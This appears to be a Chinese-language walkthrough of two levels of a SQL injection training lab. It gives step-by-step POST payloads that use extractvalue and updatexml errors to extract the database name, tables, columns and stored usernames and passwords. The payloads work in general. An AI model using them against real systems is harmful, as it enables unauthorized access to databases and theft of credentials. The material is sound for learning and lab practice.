第十三关
POST类型基于单引号和括号的的双重注入
1.同十二关一样加上 ’)#
uname=a')#&passwd=123&submit=Submit
2.判断列数为2
uname=a') order by 3#&passwd=123&submit=Submit
3.在输入联合查询时无果,尝试用特殊函数
4.利用extractvalue(文档名称,文档路径)函数传递参数的固有性来制造错误,从而实现注入,下图为爆库操作
注意:0x7e是~的ASCLL码值
uname=a')and extractvalue(1,concat(0x7e,database()))#&passwd=123&submit=Submit
5.爆表(注意括弧数量)
uname=a')and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#&passwd=123&submit=Submit
6.爆列
uname=a')and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails')))#&passwd=123&submit=Submit
7.爆数据
通过limit0,1进行查询(limit0,1表示从你的表中的第0个数据开始,只读取1个)
把group_concat改为concat函数,这样做的目的是使用limit 0,1 进行逐个查询
uname=a')and extractvalue(1,concat(0x7e,(select concat(id,' ',email_id) from emails limit 1,1)))#&passwd=123&submit=Submit
第十四关
题目与十三关一样,但输入单引号无响应直接被骗,应输入双引号报错
用#注释掉后面的,接下来就又是那一套了
1.判断列数
uname=a" order by 3#&passwd=123&submit=Submit
在3时报错,判断结果为2列
2.爆库
uname=a" and updatexml(1,concat(0x7e,database()),3) #&passwd=123&submit=Submit
3.爆表
uname=a"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3)#&passwd=123&submit=Submit
4.爆列
uname=a" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users') ),3)#&passwd=123&submit=Submit
5.爆数据
uname=a" and updatexml(1,concat(0x7e,(select concat(id,' ',username,' ',password) from users limit 0,1) ),3)#&passwd=123&submit=Submit